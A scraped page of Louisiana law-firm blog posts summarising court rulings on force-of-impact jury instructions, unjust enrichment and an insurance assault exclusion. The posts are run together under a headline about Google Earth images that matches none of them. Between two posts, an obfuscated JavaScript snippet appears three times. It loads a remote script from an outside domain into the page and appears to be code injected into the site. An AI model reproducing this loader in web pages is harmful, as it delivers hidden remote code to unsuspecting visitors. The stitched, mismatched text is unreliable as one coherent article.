Google Earth Images Ruled Admissible

For years, Louisiana plaintiffs attorneys have argued that the force ofimpact in an auto accident is not determinative of their clients’ injuries andshould be afforded little, if any, weight. A recent decision out of theLouisiana First Circuit Court of Appeal does damage to that argument. In Jonesv. Bravata, Jr. and The City of Baton Rouge, 2018 CA 0837 (La. App. 1 Cir.5/9/19), the First Circuit upheld the trial court's jury instruction on “forceof impact” where photographs showed only minor damage and the defendantdescribed the accident as a “bump.”

The accident occurred when a City employee rear-ended the plaintiffs'vehicle. Liability was stipulated and the only question at trial was damages.Mrs. Jones alleged severe neck and back injuries. She began treatment with anorthopedist within a week of the accident and thereafter received five“relatively non-invasive surgical procedures” in lieu of a lumbar fusionsurgery. The jury returned a verdict of $200,000, which included $150,000 inpast medical expenses and $35,000 in future medical expenses, but awardedlittle for general damages. Mrs. Jones appealed the verdict, asserting that thetrial court erred in instructing the jury on force of impact.

The "force of impact" jury instruction in dispute provided:

Whilethe force of a collision may be considered in determining whether a person wasinjured by an accident and the extent of the injuries sustained, it should notbe the only factor to consider in making such a determination. Even though theforce of impact may be slight, it does not preclude an award of damages.However, in determining causation, you may consider the minimal nature of theaccident.

In considering the plaintiff's assignment of error, the First Circuit noted that Mrs. Jones was correct that no witness specifically testified that the accident was too minor to have caused her injuries. However, there was evidence in the record upon which the jury could have reached the conclusion that this was a minimal impact.

Common sense would appear to support a connection between the force of an impact and the injury one could be expected to suffer. The recent Jones decision allows defendants to promote this common sense argument. Where the claimed injuries are disproportionate to the forces involved, this argument can make the difference at trial.

John Grinton is a partner of the firm admitted in state, federal and appellate courts throughout Louisiana. His practice focuses on commercial and construction litigation, representing insurance companies, architects, engineers, contractors and other businesses in all aspects of litigation. His workers’ compensation practice includes representing clients in medical billing disputes, healthcare provider disputes, statutory/borrowing/special employer disputes, and court approved settlements. John has been involved in complex cases involving construction defect claims, breach of contract and negligence actions, insurance coverage issues, lender liability, securities litigation and personal injury matters. He has firsthand experience in jury trials and arbitration's, as well as mediation, appellate briefing and oral argument.

Under Louisiana law, unjust enrichment is a cause of action that is based in equity and provides that no one should be enriched at the expense of another. The elements of an unjust enrichment claim are: (1) an enrichment; (2) an impoverishment; (3) a connection between the enrichment and the impoverishment; (4) an absence of justification or cause for the enrichment and impoverishment; and (5) no other available remedy at law. The Supreme Court recently addressed the fourth element regarding the absence of justification for the enrichment.

In H & O Invs., LLC v. Par. of Jefferson Through Sheng, a grass cutting contractor entered into a contract with the Parish for grass cutting in certain areas. The Parish separately contracted with a second contractor for weed control of the same areas. During the contract period, the grass cutting contractor notified the Parish that there was unanticipated weed growth and suggested that the weed control contractor was not properly applying the herbicide. The grass cutting contractor alleged that its work became more expensive because of the weed control contractor’s failure to perform its contractual obligation.

The grass cutting contractor sued the Parish alleging unjust enrichment. The Parish filed an exception of no cause of action, claiming that there was no claim for unjust enrichment because a contract existed between the parties. The Fifth Circuit disagreed and held that the contractor could bring a claim for unjust enrichment because there was no contractual claim between the contractor and the Parish, as both parties fulfilled their contract obligations.

The Supreme Court reversed, noting that a claim for unjust enrichment requires a showing that there was an “absence of justification or cause for the enrichment.” The Supreme Court held that when a contract exists between the parties, it serves as the law between them, and that contract is the legal cause or justification for the enrichment. Therefore, the contract between the contractor and the Parish was in fact the justification for the enrichment such that it could not be “unjust.” The Supreme Court dismissed the contractor’s suit against the Parish.

Reference:

H&O Invs., LLC v. Par. of Jefferson, 24-554 (La. App. 5 Cir. 12/18/24), writ granted, decision rev'd sub nom. H & O Invs., LLC v. Par. of Jefferson Through Sheng, 2025-00086 (La. 5/20/25), 408 So.3d 958.

;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');

Sometimes in law, the facts of a case may threaten to eclipse the legal issue. However, Louisiana law instructs the fact finder to see through the facts, and their sometimes tragic nature, and apply the law as written. As Aristotle once wisely said, “The Law is reason free from passion.”

In Kazan, et. al. v. Red Lion Hotels Corporation, et. al., 2021-CC-01820 (La. 6/29/22), the Louisiana Supreme Court recently ruled on a case with tragic facts, and its ruling provides an example of Aristotle’s description of law in action. In Kazan, a female patron was in the parking lot of a motel when a male patron approached her and used Kazan’s vehicle to abduct her from the premises. The car was later found submerged in a lake, and Kazan’s body was recovered from the water. The family filed a tort suit against several parties, including the motel’s owner and its insurer, the Great Lakes Insurance Company SE.

Great Lakes filed a motion for summary judgment and asked to be dismissed on grounds that coverage for the event was excluded from its policy. Specifically, the insurer argued that bodily injury caused by an “assault,” “battery,” or “physical altercation” was excluded under the policy’s terms. Great Lakes further argued that the kidnapping and ultimate death of the patron was excluded under the policy as bodily injury caused by an assault, battery, or physical altercation. The Louisiana Supreme Court agreed and reversed the decision of the trial and appellate courts.

Under Louisiana law, “[a]n insurance policy is a contract between the parties and should be construed using the general rules for the interpretation of contracts.” Id. at p. 3. “When the words of an insurance policy are clear and explicit and do not lead to absurd consequences, courts must enforce the language as written.” Id. at p. 3. “Courts lack authority to alter the terms of an insurance policy under the guise of interpretation and should not create an ambiguity where none exists.” Id. at p. 3.

With these basic rules in mind, the Court carefully reviewed the wording of the exclusion in the Great Lakes policy which stated as follows: “This insurance does not apply to ‘bodily injury,’ ‘property damage,’ or ‘personal advertising injury’ arising out of an ‘assault,’ ‘battery,’ or ‘physical altercation.’” “Physical altercation” was defined in the policy as “a dispute between individual [sic] in which one or more persons sustain bodily injury arising out of the dispute.” Citing Merriam-Webster’s dictionary, the Court defined the term “dispute” as “verbal controversy” or “quarrel.”

Based upon the evidence in the case, the Court found the female patron was involved in a “dispute” with her male attacker, and ultimately sustained bodily injury as a result of the dispute. Therefore, the patron was injured in a physical altercation, as defined under the specific terms of the Policy, and coverage for the event was excluded under the policy’s terms.

The Court noted as follows: “The facts of this case are undoubtedly tragic. Nonetheless, absent a conflict with statutory provisions or public policy, insurers are entitled to limit their liability by imposing reasonable conditions upon the policy obligations they contractually assume. That is what Great Lakes did in the insurance policy at issue here.” Despite the tragic facts presented in the case, in so holding, it appears the court agreed with Aristotle’s belief that the Law is Reason Free from Passion.